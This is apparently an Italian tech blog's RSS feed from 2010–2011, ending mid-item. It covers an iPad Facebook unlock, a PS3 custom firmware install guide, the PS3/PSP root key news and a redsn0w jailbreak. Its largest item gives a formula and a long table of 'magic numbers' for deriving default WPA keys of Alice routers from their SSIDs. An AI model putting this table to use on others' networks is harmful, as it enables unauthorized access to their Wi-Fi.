<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>PcExpert &#187; crack</title>
	<atom:link href="http://www.pcexpert-blog.com/category/crack/feed" rel="self" type="application/rss+xml" />
	<link>http://www.pcexpert-blog.com</link>
	<description></description>
	<lastBuildDate>Sat, 05 Nov 2011 22:20:26 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
<image>
  <link>http://www.pcexpert-blog.com</link>
  <url>http://www.pcexpert-blog.com/wp-content/plugins/favicon-manager/favicon.ico</url>
  <title>PcExpert</title>
</image>
<cloud domain='www.pcexpert-blog.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
		<item>
		<title>Guida per sbloccare la versione di facebook per iPad nascosta all&#8217;interno della versione per iPhone</title>
		<link>http://www.pcexpert-blog.com/2011/07/guida-per-sbloccare-la-versione-di-facebook-per-ipad-nascosta-allinterno-della-versione-per-iphone.html</link>
		<comments>http://www.pcexpert-blog.com/2011/07/guida-per-sbloccare-la-versione-di-facebook-per-ipad-nascosta-allinterno-della-versione-per-iphone.html#comments</comments>
		<pubDate>Mon, 25 Jul 2011 12:12:32 +0000</pubDate>
		<dc:creator>Paolo Smedile</dc:creator>
				<category><![CDATA[apple]]></category>
		<category><![CDATA[crack]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[guida]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[iPad]]></category>
		<category><![CDATA[Iphone]]></category>
		<category><![CDATA[Senza categoria]]></category>
		<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://www.pcexpert-blog.com/?p=1769</guid>
		<description><![CDATA[<p></p>
<p>Mc Sigler ha scoperto che in realtà, la versione di facebook per iPad, è ben nascosta all&#8217;interno della versione iPhone. Occorrono infatti pochi semplici passaggi per sbloccarla ed essa</p>]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.pcexpert-blog.com/wp-content/uploads/2011/07/Facebook_iPad.png"><img class="aligncenter size-medium wp-image-1770" title="Facebook_iPad" src="http://www.pcexpert-blog.com/wp-content/uploads/2011/07/Facebook_iPad-225x300.png" alt="" width="225" height="300" /></a></p>
<p><strong>Mc Sigler</strong> ha scoperto che in realtà, la versione di facebook per iPad, è <strong>ben nascosta</strong> all&#8217;interno della versione iPhone. Occorrono infatti pochi semplici passaggi per sbloccarla ed essa risulta già molto stabile è ben fatta. Non sono noti però i motivi per cui questa nuovissima e tanto attesa novità sia stata tenuta segreta. Sta di fatto che attraverso la versione creata ad hoc per iPad possiamo ora <strong>accedere a tutte le funzioni del social network</strong>, chat compresa.</p>
<p>Ecco quindi una semplice guida per &#8220;sbloccare&#8221; la versione iPad di facebook che ricordo può essere momentaneamente abilitata solo su iPad Jailbroken.</p>
<blockquote>
<ol>
<li>Per prima cosa scarichiamo dall&#8217;Apple Store la versione iPhone di Facebook.</li>
<li>Tramite iFile rechiamoci nella seguente cartella <strong>/var/mobile/Applications/Facebook</strong>. <span style="color: #ff0000;"><strong>NOTA BENE</strong></span>:  per trovarla più facilmente, attivate nelle preferenze di iFile la voce Nomi applicazioni altrimenti vedrete solo una serie di numeri e lettere al posto della cartella Facebook.</li>
<li>Apriamo il file <strong>Info.plist</strong> con il Visualizzatore Testo integrato in iFile.</li>
<li>Scorriamo il file fino in fondo alla ricerca della stringa&lt;key&gt;UIDeviceFamily&lt;/key&gt;&lt;array&gt;&lt;integer&gt;1&lt;/integer&gt;&lt;/array&gt;
<p>e sostituiamo il numero 1 con il numero 2 per rendere la versione di facebook compatibile con iPad.</li>
<li>Riavviamo infine il dispositivo.</li>
</ol>
</blockquote>
<p><span style="color: #ff0000;"><strong>UPDATE:</strong></span> Facebook ha disabilitato l&#8217;accesso tramite l&#8217;app per iPad e, a quanto pare, a Palo Alto sembrano non aver digerito la scoperta si questa versione apposita di facebook per il tablet di casa Apple. Tuttavia tramite un <strong>tweak gratuito</strong> scaricabile da cydia chiamato <strong>FaceForward</strong> è possibile riabilitare l&#8217;accesso a facebook tramite l&#8217;applicazione per iPad.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.pcexpert-blog.com/2011/07/guida-per-sbloccare-la-versione-di-facebook-per-ipad-nascosta-allinterno-della-versione-per-iphone.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>GeoHot rilascia il suo primo custom firmware 3.55 per PS3. Guida all&#8217;installazione</title>
		<link>http://www.pcexpert-blog.com/2011/01/geohot-rilascia-il-suo-primo-custom-firmware-3-55-per-ps3.html</link>
		<comments>http://www.pcexpert-blog.com/2011/01/geohot-rilascia-il-suo-primo-custom-firmware-3-55-per-ps3.html#comments</comments>
		<pubDate>Sun, 09 Jan 2011 10:53:04 +0000</pubDate>
		<dc:creator>Paolo Smedile</dc:creator>
				<category><![CDATA[crack]]></category>
		<category><![CDATA[firmware]]></category>
		<category><![CDATA[guida]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[PlayStation 3]]></category>
		<category><![CDATA[PS3]]></category>
		<category><![CDATA[Senza categoria]]></category>
		<category><![CDATA[sicurezza]]></category>

		<guid isPermaLink="false">http://www.pcexpert-blog.com/?p=1709</guid>
		<description><![CDATA[<p>
Dopo averci mostrato qualche giorno fa il funzionamento, GeoHot rilascia a sorpresa il suo primo custom firmware 3.55 per PlayStation 3.
Questo custom firmware può essere installato solo ed</p>]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.pcexpert-blog.com/wp-content/uploads/2011/01/sony-playstation-3-custom-firmware-by-kakaroto.jpg"><img class="aligncenter size-medium wp-image-1710" title="sony-playstation-3-custom-firmware-by-kakaroto" src="http://www.pcexpert-blog.com/wp-content/uploads/2011/01/sony-playstation-3-custom-firmware-by-kakaroto-300x139.jpg" alt="" width="300" height="139" /></a><br />
Dopo averci mostrato qualche giorno fa il funzionamento, GeoHot rilascia a sorpresa il suo primo <strong>custom firmware 3.55 per PlayStation 3</strong>.<br />
Questo custom firmware può essere installato solo ed esclusivamente sulle ps3 che montano il fw ufficiale 3.55. Le caratteristiche del cfw di Geohot sono molto simili a quelle del cfw di Kakaroto:</p>
<p>è possibile infatti installare ed eseguire PGK firmati e non sono supportati i manager per l&#8217;avvio dei backup dei giochi.</p>
<p>Attraverso il suo blog, Geohot ci comunica inoltre che, a breve,  rilascerà i tool <strong>make_self_npdrm</strong> e <strong>package_finalize</strong> che permetteranno di signare i propri homebrew ed annuncia anche che ci saranno parecchie novità in arrivo.</p>
<p>Ecco una semplice guida per installare il cf di Geohot che, è possibile installare come se fosse un normale update. A fine articolo tutti i link per i vari download.</p>
<ul>
<li>Aggiornare la ps3 al firmware 3.55.</li>
<li>Estraiamo dall&#8217;archivio <strong>jailbreak.zip</strong> il file <strong>PS3UPDAT.PUP</strong> e inseriamolo in una chiavetta USB all&#8217;interno della cartella PS3\UPDATE. (Creiamola qualora non esistesse)</li>
<li>Facciamo ora partire dalla ps3 il normale procedimento di aggiornamento software.</li>
<li>Infine scarichiamo e avviamo dalla consolle il file <strong>test.pkg</strong> per verificare che la nostra ps3 è stata jailbrekkata con successo.</li>
</ul>
<p>Vi lascio infine con un video che mostra il cfw di Geohot in azione e con tutti i link al download.</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="480" height="385" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/UkLSXsCKDkg?fs=1&amp;hl=it_IT" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="480" height="385" src="http://www.youtube.com/v/UkLSXsCKDkg?fs=1&amp;hl=it_IT" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<h2><strong><span style="color: #ff0000;"><span style="color: #ff0000;"><a href="http://www.pcexpert-blog.com/download/downloadpage.php?id=322 "><span style="color: #ff0000;">Download Jailbreak.zip</span></a></span></span></strong></h2>
<h2><strong><span style="color: #ff0000;"><span style="color: #ff0000;"><a href="http://www.pcexpert-blog.com/download/downloadpage.php?id=323"><span style="color: #ff0000;">Download Test.pkg</span></a></span></span></strong></h2>
]]></content:encoded>
			<wfw:commentRss>http://www.pcexpert-blog.com/2011/01/geohot-rilascia-il-suo-primo-custom-firmware-3-55-per-ps3.html/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Playstation 3 (PS3) e Playstation Portable (PSP) diventano le prime due console Open Source della storia grazie alla scoperta delle Root Key</title>
		<link>http://www.pcexpert-blog.com/2011/01/playstation-3-ps3-e-playstation-portable-psp-diventano-le-prime-due-console-open-source-della-storia-grazie-alla-scoperta-delle-root-key.html</link>
		<comments>http://www.pcexpert-blog.com/2011/01/playstation-3-ps3-e-playstation-portable-psp-diventano-le-prime-due-console-open-source-della-storia-grazie-alla-scoperta-delle-root-key.html#comments</comments>
		<pubDate>Mon, 03 Jan 2011 20:20:19 +0000</pubDate>
		<dc:creator>Paolo Smedile</dc:creator>
				<category><![CDATA[crack]]></category>
		<category><![CDATA[firmware]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[PS3]]></category>
		<category><![CDATA[PSP]]></category>
		<category><![CDATA[Senza categoria]]></category>

		<guid isPermaLink="false">http://www.pcexpert-blog.com/?p=1706</guid>
		<description><![CDATA[<p></p>
<p>Il noto George Hotz (aka GeoHot) ha iniziato l&#8217;anno alla grande rilasciando la Root Key della ancora quasi invulnerabile PlayStation 3. A distanza di poche ora inoltre Mathieulh ex-collaboratore</p>]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.pcexpert-blog.com/wp-content/uploads/2011/01/ps3psp.jpg"><img class="aligncenter size-medium wp-image-1707" title="ps3psp" src="http://www.pcexpert-blog.com/wp-content/uploads/2011/01/ps3psp-300x251.jpg" alt="" width="300" height="251" /></a></p>
<p>Il noto <strong>George Hotz</strong> (aka GeoHot) ha iniziato l&#8217;anno alla grande rilasciando la <strong>Root Key</strong> della ancora quasi invulnerabile <strong>PlayStation 3</strong>. A distanza di poche ora inoltre Mathieulh ex-collaboratore del famoso Dark_Alex, noto hacker sulla scena PSP, attraverso la chiave rilasciata da GeoHot, è riuscito a scovare anche la <strong>RootKey della PSP</strong>. Tutto ciò significa che, grazie a queste chiavi, saremo in grado di eseguire sulle due console di casa Sony qualsiasi applicazione non ufficiale direttamente dal firmware originale e senza quindi alcuna modifica e/o modchip.</p>
<p>Come si può facilmente comprendere le conseguenze di questo hack sono inimmaginabili. I custom firmware, le migliaia di programmi homebrew scritti in questi anni sono ormai obsoleti di fronte alla possibilità di semplicemente avviare software non ufficiale su hardware e software pulito ossia senza alcuna mod.<br />
Attraverso queste chiavi non solo viene messo a nudo l&#8217;intero sistema operativo delle due consolle. Inoltre attraverso il rilascio di nuovi firmware Sony difficilmente potrà rendere nuovamente invulnerabili i due devices.</p>
<p>Ecco il link alla pagina originale di GeoHotz dove l&#8217;hacker ha pubblicato la RootKey della PS3.<a href="http://www.pcexpert-blog.com/download/redirectpage.php?id=321"> <strong><span style="color: #ff0000;">LINK</span></strong></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.pcexpert-blog.com/2011/01/playstation-3-ps3-e-playstation-portable-psp-diventano-le-prime-due-console-open-source-della-storia-grazie-alla-scoperta-delle-root-key.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Lista Aggiornata dei Magic Numbers (Numeri Magici) usati per calcolare automaticamente la chiave WPA dei router Alice</title>
		<link>http://www.pcexpert-blog.com/2010/09/lista-aggiornata-dei-magic-numbers-numeri-magici-usati-per-calcolare-automaticamente-la-chiave-wpa-dei-router-alice.html</link>
		<comments>http://www.pcexpert-blog.com/2010/09/lista-aggiornata-dei-magic-numbers-numeri-magici-usati-per-calcolare-automaticamente-la-chiave-wpa-dei-router-alice.html#comments</comments>
		<pubDate>Thu, 16 Sep 2010 20:14:28 +0000</pubDate>
		<dc:creator>Paolo Smedile</dc:creator>
				<category><![CDATA[crack]]></category>
		<category><![CDATA[firmware]]></category>
		<category><![CDATA[fonera]]></category>
		<category><![CDATA[guida]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[internet]]></category>
		<category><![CDATA[programmazione]]></category>
		<category><![CDATA[Senza categoria]]></category>
		<category><![CDATA[sicurezza]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[wifi]]></category>
		<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://www.pcexpert-blog.com/?p=1670</guid>
		<description><![CDATA[<p></p>
<p>Dopo la recente scoperta da parte del White Hats Crew dell&#8217;algoritmo usato per generare automaticamente le chiavi WPA dei router Alice ecco che in rete sono comparsi numerossissimi tools</p>]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.pcexpert-blog.com/wp-content/uploads/2010/09/alice-router.jpg"><img class="aligncenter size-full wp-image-1671" title="alice-router" src="http://www.pcexpert-blog.com/wp-content/uploads/2010/09/alice-router.jpg" alt="" width="272" height="185" /></a></p>
<p>Dopo la recente scoperta da parte del <a href="http://wifiresearchers.wordpress.com/2010/06/02/alice-agpf-lalgoritmo/">White Hats Crew</a> dell&#8217;algoritmo usato per <strong>generare automaticamente le chiavi WPA dei router Alice</strong> ecco che in rete sono comparsi numerossissimi tools atti a tale scopo(WPA Security Inspector, <a href="http://www.pcexpert-blog.com/download/downloadpage.php?id=316">Agpf Tool</a>) .</p>
<p>In particolare, partendo dall SSID della rete (il nome che visualizziamo non appena cerchiamo la nostra rete) si può ricavare, nel giro di pochi secondi, la fatidica chiave WPA.</p>
<p>Tutti questi tools hanno però bisogno di un particolare file (config.txt) di configurazione per generare le chiavi contente dei codici soprannominati <strong>Magic Numbers</strong>.</p>
<p><span style="color: #ff0000;">Cosa sono i <strong>Magic Numbers</strong>?</span></p>
<p><strong>Seriali, Serie e Numeri Magici</strong></p>
<blockquote><p>Sono particolari cifre che cambiano da router a router secondo un particolare meccanismo che abbiamo dedotto, li abbiamo denominati<em><strong> numeri magici</strong></em> (altri modelli di router usano un formato analogo per i seriali ma non è chiaro se rispettano lo stesso meccanismo di generazione)</p>
<p>Ogni router oltre ad avere un proprio firmware ha anche una serie, corrispondente alla prima parte del seriale (SN) riportato su ogni router. Da un’accurata analisi del tutto statistica siamo riusciti a trarre alcune conclusioni in merito solo per alcune serie. Siamo però convinti che deve esistere un algoritmo universale in grado di individuarli tutti. Non essendo il nostro interese di natura statistica abbiamo limitato le nostre ricerche sui dati a cui abbiamo avuto la possibilità di analizzare.</p>
<p>Riprendendo il discorso dei <em>numeri magici</em> siamo riusciti, tramite confronti tra due o più seriali, ad individuare dei valori costanti che si ripeteno. Il seriale è calcolabile mediante un’equazione tutto sommato abbastanza semplice  conoscendo solamente la parte numerica dell’SSID della rete. E’ stato infatti scoperto che la relazione che sussiste tra SN e SSID è di aritmetica modulare: esistono due costanti, che definiremo con  <strong>k </strong>e<strong> Q</strong>, dipendenti dalla serie del router, tale che<strong> SSID=k*SN+Q</strong> (dove con SN indicheremo la seconda parte del seriale, quella dopo la X, la prima parte è fissa per ogni serie), da questa formula ricaviamo la formula finale <strong>SN=(SSID-Q)/k</strong>. Naturalmente un’equazione e due incognite non ammette un’unica soluzione, per questo abbiamo impostant un sistema che prende in considerazione i dati di due router della stessa serie.</p></blockquote>
<h1><strong>Ecco di seguito una lista dei Magic Numbers aggiornata al 21/09/2010 (Settembre)<br />
</strong></h1>
<p><code><br />
995,69102,13,99208960,001D8B<br />
966,69102,13,96214846,001D8B<br />
965,69102,13,96214846,001D8B<br />
964,67902,13,95026672,001D8B<br />
964,69102,13,96214846,001D8B<br />
963,67902,13,95026672,001D8B<br />
962,67902,13,95027335,001D8B<br />
961,69102,13,96017051,001D8B<br />
960,69102,13,96017051,001D8B<br />
959,69102,13,94828422,001D8B<br />
959,67902,13,94828422,001D8B<br />
958,67902,13,94829072,001D8B<br />
957,67902,13,94831022,001D8B<br />
956,67902,13,94831022,001D8B<br />
955,67902,13,94828422,001D8B<br />
954,67902,13,94831022,001D8B<br />
954,67902,13,94828422,001D8B<br />
953,67902,13,94829137,001D8B<br />
952,67902,13,94829137,001D8B<br />
951,67902,13,94829137,001D8B<br />
950,67902,13,94831022,001D8B<br />
950,67902,13,94830515,001D8B<br />
949,67902,13,94830515,001D8B<br />
948,67902,13,94830515,001D8B<br />
946,67901,13,92873664,001D8B<br />
945,67901,13,92873664,001D8B<br />
944,67901,13,92873664,001D8B<br />
943,67901,13,92873664,001D8B<br />
938,69101,13,91472696,001D8B<br />
936,69101,13,92723407,001D8B<br />
935,69101,13,92727307,001D8B<br />
934,67901,13,92016972,001D8B<br />
933,69101,13,92016972,001D8B<br />
933,67901,13,92016972,001D8B<br />
932,69101,13,93062432,001D8B<br />
932,67901,13,92016972,001D8B<br />
931,69101,13,92398366,001D8B<br />
930,69101,13,92437366,001D8B<br />
928,69101,13,92294366,001D8B<br />
928,69101,13,92303856,001D8B<br />
927,69101,13,92303856,001D8B<br />
925,69101,13,92086899,001D8B<br />
923,69101,13,92017687,001D8B<br />
922,67901,13,91105594,001D8B<br />
866,67901,13,85548341,001D8B<br />
865,67901,13,85548341,001D8B<br />
864,67901,13,85548341,001D8B<br />
863,67901,13,85548341,001D8B<br />
862,67901,13,85548341,001D8B<br />
861,67901,13,85535341,001D8B<br />
860,67901,13,85535341,001D8B<br />
859,67901,13,85535341,001D8B<br />
858,67901,13,85518805,001D8B<br />
857,67901,13,85518805,001D8B<br />
857,69101,13,85507196,001D8B<br />
829,67901,13,82777468,38229D<br />
653,67904,8,62415297,002553<br />
652,67904,8,62415297,002553<br />
651,67904,8,62415297,002553<br />
650,67904,8,62415297,002553<br />
650,67904,8,62415249,002553<br />
649,67904,8,62415249,002553<br />
649,67904,8,62415297,002553<br />
648,67904,8,62415297,002553<br />
647,67904,8,62415297,002553<br />
646,67904,8,62415297,002553<br />
645,67904,8,62415297,002553<br />
644,67904,8,62415297,002553<br />
643,67904,8,62415297,002553<br />
642,69104,8,63703777,002553<br />
641,67904,8,62254897,002553<br />
641,69104,8,63703777,002553<br />
640,67904,8,62254897,002553<br />
639,67904,8,62254897,002553<br />
638,67904,8,62254897,002553<br />
637,67904,8,62246897,002553<br />
636,67904,8,62246897,002553<br />
636,67904,8,55226258,002553<br />
636,67904,8,62360145,002553<br />
635,67904,8,62230897,002553<br />
634,67904,8,62239057,002553<br />
634,67904,8,62238897,002553<br />
633,67904,8,62239057,002553<br />
633,69104,8,62903297,002553<br />
631,67904,8,62194697,002553<br />
631,67904,8,62219249,002553<br />
631,67904,8,62193097,002553<br />
630,67904,8,62220849,002553<br />
629,67904,8,62304689,002553<br />
629,67904,8,62220849,002553<br />
628,67904,8,62174513,002553<br />
627,67904,8,61855721,002553<br />
627,69104,8,62345169,002553<br />
627,67904,8,62174801,002553<br />
626,69104,8,62345169,002553<br />
626,67904,8,62345169,002553<br />
625,69104,8,62345169,002553<br />
624,69104,8,62345153,002553<br />
623,67904,8,61884537,002553<br />
622,67904,8,61884537,002553<br />
62X,67904,8,62174801,002553<br />
588,69102,13,56695373,002233<br />
587,69102,13,56695945,002233<br />
586,69102,13,56695945,002233<br />
585,67902,13,55485918,002233<br />
584,67902,13,55485918,002233<br />
583,67902,13,55485918,002233<br />
582,67902,13,55485918,002233<br />
581,69102,13,56332816,002233<br />
580,69102,13,56332816,002233<br />
579,69102,13,56332816,002233<br />
579,67902,13,55509708,002233<br />
578,67902,13,55119942,002233<br />
577,67902,13,55119942,002233<br />
576,67902,13,55119942,002233<br />
574,69102,13,55844913,002233<br />
574,69102,13,55844900,002233<br />
573,69102,13,55844913,002233<br />
571,67902,13,54791692,002233<br />
571,69102,13,55844900,002233<br />
570,67902,13,54791692,002233<br />
569,67902,13,54809242,002233<br />
569,67902,13,54805992,002233<br />
568,67902,13,54805992,002233<br />
568,67902,13,54809242,002233<br />
567,67902,13,54808800,002233<br />
566,67902,13,54808800,002233<br />
565,67902,13,54808800,002233<br />
564,67902,13,54808800,002233<br />
563,67902,13,54808800,002233<br />
562,67902,13,54808800,002233<br />
561,69102,13,55052472,002233<br />
560,67902,13,54809242,002233<br />
559,69102,13,54778588,00223<br />
558,69102,13,54811868,00223<br />
557,69102,13,54811868,00223<br />
556,69102,13,54811868,00223<br />
555,67904,8,55164449,002553<br />
555,69102,13,54811868,00223<br />
555,67904,8,55164145,002553<br />
554,69102,13,54811868,002233<br />
554,67904,8,55164450,002553<br />
554,67904,8,55164449,002553<br />
553,67904,8,55164449,002553<br />
552,67904,8,55164449,002553<br />
552,69102,13,54730124,002553<br />
551,67904,8,55164449,002553<br />
551,67903,8,52420697,002553<br />
550,67903,8,52420697,002553<br />
550,67903,8,52420689,002553<br />
549,67903,8,52420689,002553<br />
549,67903,8,52420673,002553<br />
548,67903,8,52420689,002553<br />
548,67903,8,52420673,002553<br />
547,67903,8,52420689,002553<br />
546,67903,8,52420689,002553<br />
545,67903,8,52420689,002553<br />
544,67903,8,52420689,002553<br />
543,67903,8,52420689,002553<br />
542,67903,8,52420673,002553<br />
542,67903,8,52420689,002553<br />
541,67903,8,52420689,002553<br />
540,67903,8,52420689,002553<br />
539,67903,8,52420689,002553<br />
539,67903,8,52420681,002553<br />
538,67903,8,52420681,002553<br />
537,67903,8,52420681,002553<br />
536,67903,8,52420689,002553<br />
536,67903,8,52420681,002553<br />
535,67903,8,52420681,002553<br />
535,67903,8,52420689,002553<br />
534,67903,8,52420681,002553<br />
533,67903,8,52420689,002553<br />
533,67903,8,52420681,002553<br />
532,69103,8,52845953,002553<br />
531,69103,8,52845953,002553<br />
530,67903,8,52196329,002553<br />
529,67903,8,52196329,002553<br />
528,67903,8,52196329,002553<br />
527,67903,8,52196329,002553<br />
526,69103,8,52418353,002553<br />
526,67903,8,52196329,002553<br />
525,69103,8,52418353,002553<br />
524,69103,8,52418353,002553<br />
490,69101,13,48968681,001CA2<br />
487,67901,13,48559740,00238E<br />
487,67901,13,48559740,001CA2<br />
483,67903,8,47896103,00238E<br />
482,67903,8,47896103,00238E<br />
481,67903,8,47896103,00238E<br />
480,67903,8,47896103,00238E<br />
479,67903,8,47955247,00238E<br />
478,69102,13,43892099,00238E<br />
477,69102,13,43892099,00238E<br />
476,69102,13,43892099,00238E<br />
476,69102,13,43892021,00238E<br />
475,69102,13,43892021,00238E<br />
474,69102,13,43892099,00238E<br />
472,67902,13,39177168,00238E<br />
471,67902,13,39177168,00238E<br />
471,67902,13,39184782,00238E<br />
470,67902,13,39184782,00238E<br />
470,67902,13,38678445,00238E<br />
469,67902,13,38678445,00238E<br />
468,67902,13,39014716,00238E<br />
468,67902,13,38678445,00238E<br />
466,67902,13,39015145,00238E<br />
465,67902,13,39015145,00238E<br />
465,67902,13,39015065,00238E<br />
464,67902,13,39014716,00238E<br />
463,67902,13,39014716,00238E<br />
463,67902,13,39015145,00238E<br />
462,67902,13,39011245,00238E<br />
461,67902,13,39014716,00238E<br />
461,67902,13,39015145,00238E<br />
460,67902,13,39015145,00238E<br />
460,67902,13,39010595,00238E<br />
459,67902,13,39004095,00238E<br />
459,67902,13,39015145,00238E<br />
458,67902,13,39010595,0017CE<br />
457,67902,13,39010595,00238E<br />
456,67902,13,39010595,00238E<br />
455,67902,13,39010595,00238E<br />
454,67902,13,39010335,00238E<br />
453,67902,13,39010335,00238E<br />
451,67902,13,39010335,00238E<br />
450,69102,13,41631044,00238E<br />
449,67902,13,38883455,00238E<br />
448,67902,13,38883455,00238E<br />
447,67902,13,38883455,00238E<br />
446,67902,13,38767105,00238E<br />
445,67902,13,38767105,00238E<br />
445,67902,13,39010335,00238E<br />
444,67902,13,38767105,00238E<br />
443,67901,13,43008155,00238E<br />
443,67902,13,38767105,00238E<br />
44X,67902,13,44156697,00238E<br />
430,67901,13,43008155,00238E<br />
430,67901,13,43008155,001CA2<br />
427,69101,13,42667449,001CA2<br />
423,69101,13,42309436,001CA2<br />
390,67902,13,33775765,00238E<br />
390,69102,13,35639029,00238E<br />
389,67902,13,33775765,00238E<br />
388,67902,13,33775765,00238E<br />
387,69102,13,35639029,00238E<br />
386,69102,13,35639029,00238E<br />
385,69102,13,35639029,00238E<br />
385,67902,13,33042526,00238E<br />
384,67902,13,33042526,00238E<br />
383,69102,13,35639029,00238E<br />
382,69102,13,35639029,00238E<br />
382,67902,13,33175048,00238E<br />
381,67902,13,33175048,00238E<br />
380,67902,13,33172097,00238E<br />
379,67902,13,33175048,00238E<br />
379,67902,13,33175058,00238E<br />
378,67902,13,33175048,00238E<br />
377,67902,13,33175048,00238E<br />
377,67902,13,33175058,00238E<br />
376,67902,13,33175048,00238E<br />
375,67902,13,33175048,00238E<br />
375,67902,13,33175058,00238E<br />
375,67902,13,33175048,00238E<br />
374,67902,13,34856728,00238E<br />
373,67902,13,34856728,00238E<br />
372,69102,13,34855688,00238E<br />
372,69102,13,34856728,00238E<br />
371,69102,13,34856728,00238E<br />
370,69102,13,34855688,00238E<br />
369,67902,13,32716668,00238E<br />
368,67902,13,32719840,00238E<br />
367,67902,13,32720035,00238E<br />
366,67902,13,32720035,00238E<br />
365,67902,13,32720035,00238E<br />
364,67902,13,32720035,00238E<br />
363,67902,13,32720035,00238E<br />
362,67902,13,32720035,00238E<br />
361,67902,13,32720035,00238E<br />
360,67902,13,32720035,00238E<br />
360,67902,13,32719866,00238E<br />
359,67902,13,32719866,38229D<br />
321,67904,8,28730779,38229D<br />
320,69104,8,30891307,38229D<br />
315,67904,8,28369051,38229D<br />
314,67904,8,28369051,38229D<br />
312,69104,8,30599079,38229D<br />
312,69104,8,30655015,38229D<br />
312,67904,8,28190287,38229D<br />
182,67904,8,16628398,00268D ( NON CORRETTO ??? )<br />
181,67902,13,17728255,00268D<br />
181,67902,13,14496838,00268D<br />
181,67902,13,13921842,00268D<br />
181,67902,13,14825009,00268D<br />
181,67903,8,15966400,00268D<br />
181,69102,13,16493373,00268D<br />
181,69102,13,15539710,00268D<br />
181,69103,8,17946128,00268D<br />
181,67901,13,16874837,00268D<br />
181,67902,13,17122778,00268D<br />
181,67902,13,12103992,00268D<br />
181,69102,13,16313301,00268D<br />
181,67904,8,17574389,00268D<br />
181,67904,8,18042064,00268D<br />
181,69102,13,17315130,00268D<br />
181,67902,13,15578953,00268D<br />
</code></p>
]]></content:encoded>
			<wfw:commentRss>http://www.pcexpert-blog.com/2010/09/lista-aggiornata-dei-magic-numbers-numeri-magici-usati-per-calcolare-automaticamente-la-chiave-wpa-dei-router-alice.html/feed</wfw:commentRss>
		<slash:comments>61</slash:comments>
		</item>
		<item>
		<title>Rilasciato redsn0w 0.9.5 BETA per effettuare il Jailbreak dell’iPhone OS 4 Beta 1 per iPhone 3G!! [MAC]</title>
		<link>http://www.pcexpert-blog.com/2010/04/rilasciato-redsn0w-0-9-5-beta-per-effettuare-il-jailbreak-dell%e2%80%99iphone-os-4-beta-1-per-iphone-3g-mac.html</link>
		<comments>http://www.pcexpert-blog.com/2010/04/rilasciato-redsn0w-0-9-5-beta-per-effettuare-il-jailbreak-dell%e2%80%99iphone-os-4-beta-1-per-iphone-3g-mac.html#comments</comments>
		<pubDate>Fri, 16 Apr 2010 05:29:27 +0000</pubDate>
		<dc:creator>Paolo Smedile</dc:creator>
				<category><![CDATA[apple]]></category>
		<category><![CDATA[crack]]></category>
		<category><![CDATA[firmware]]></category>
		<category><![CDATA[Iphone]]></category>
		<category><![CDATA[Senza categoria]]></category>
		<category><![CDATA[apple. iphone]]></category>
		<category><![CDATA[dev team]]></category>
		<category><![CDATA[download]]></category>
		<category><![CDATA[os 4.0]]></category>

		<guid isPermaLink="false">http://www.pcexpert-blog.com/?p=1650</guid>
		<description><![CDATA[<p></p>
<p>Avete proprio letto bene, il Dev Team ha  appena rilasciato la prima beta di redsn0w 0.9.5 per il  Jailbreak del nuovo sistema operativo presentato da Apple solo qualche  giorno</p>]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.pcexpert-blog.com/wp-content/uploads/2010/04/AppleiTablet.jpg"><img class="aligncenter size-medium wp-image-1651" title="AppleiTablet" src="http://www.pcexpert-blog.com/wp-content/uploads/2010/04/AppleiTablet-225x300.jpg" alt="" width="225" height="300" /></a></p>
<p>Avete proprio letto bene, il Dev Team ha  appena rilasciato la prima <strong>beta di redsn0w 0.9.5</strong> per il  Jailbreak del nuovo sistema operativo presentato da Apple solo qualche  giorno fa: l’iPhone OS 4.</p>
<p>E quindi ci siamo. Già qualche giorno fa il  grande GeoHot, ma anche il team iH8sn0w, ci aveva mostrato con screens e  video su YouTube, com’era già possibile effettuare il Jailbreak del  nuovo firmware di casa Apple. Ma il Dev Team, a sorpresa, stupisce tutti  con questa prima beta che, almeno per il momento, è ancora limitata e  poco funzionale; <strong>ma soprattutto non è per gli utilizzatori  finali MA SOLO PER DEVELOPERS che sviluppano apps per Cydia</strong>:</p>
<p>redsn0w 0.9.5 infatti è  compatibile, per il momento, solo con:</p>
<ul>
<li>iPhone 3G</li>
<li>Mac OSX</li>
<li>iPhone OS 4</li>
</ul>
<p>Ecco come effettuare il jailbreak:</p>
<ul>
<li>Lanciate redsn0w 0.9.5</li>
